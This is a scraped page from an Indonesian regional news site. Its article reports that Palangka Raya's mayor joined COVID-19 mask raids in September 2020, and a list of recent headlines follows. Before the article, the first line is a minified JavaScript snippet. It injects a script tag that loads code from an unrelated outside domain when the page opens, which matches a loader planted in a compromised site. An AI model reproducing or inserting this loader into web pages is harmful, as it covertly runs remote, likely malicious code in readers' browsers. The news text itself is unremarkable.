(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Palangkaraya

Wali Kota Palangka Raya Jadi Petugas Yustisi Protokol Kesehatan


KANALKALIMANTAN.COM, PALANGKA RAYA – Sudah tiga hari, sejak Perwali nomor 26 tahun 2020 penerapan disiplin dan penegakkan protokol kesehatan Covid-19 di kota Palangka Raya diberlakukan.

Efektif terhitung 14 September lalu, Satgas gabungan gencar menegakkan Perwali dengan melakukan razia masker di beberapa titik yang berbeda.

Bahkan Wali Kota Palangka Raya Fairid Naparin, sempat ikut menjadi petugas yustisi saat melakukan pengecekan razia masker di kawasan Tugu Soekarno Palangka Raya, Rabu (16/9/2020) malam.

Dari 70 orang yang terjaring tidak memakai masker, beberapa orang diantaranya merupakan masyarakat yang baru saja tiba dari Banjarmasin, Kalimantan Selatan dan Surabaya, Jawa Timur.

Sanksi tegas pun diberikan kepada masyarakat yang masih abai menerapkan protokol kesehatan baik dengan kerja sosial ataupun denda administrasi Rp 100 ribu.

Wali Kota Palangka Raya Fairid Naparin saat mendata masyarakat yang terjaring tanpa masker. Foto: humas pemko palangka raya.

Tetapi lebih banyak yang memilih sanksi sosial dengan menyapu jalan di kawasan penindakan, dibanding membayar uang denda.

Dalam kesempatan itu, Fairid mengingatkan masyarakat agar jika beraktivitas di luar rumah, untuk selalu mengenakan masker.

“Ayo saudara-saudaraku sayangi diri sendiri, sayangi keluarga kita. Selalu pakai masker,” ujarnya.

Sementara itu Ketua Satgas Penanganan Covid-19 Palangka Raya, Emi Abriyani mengakui memang sejak diterapkan Perwali tersebut, terjadi penurunan jumlah masyarakat yang terjaring tanpa masker.

Namun, pihaknya akan terus melakukan razia setiap hari agar masyarakat benar-benar disiplin menerapkan protokol kesehatan.

“Kita akan terus razia keliling dan dadakan. Satu hari sekitar 5 titik baik siang maupun malam untuk melakukan patroli penindakan,” tegasnya. (kanalkalimantan.com/tri)

Reporter : tri
Editor : bie

Al Ghifari

Recent Posts

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

4 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

4 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

22 jam ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

22 jam ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

22 jam ago

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

2 hari ago

This website uses cookies.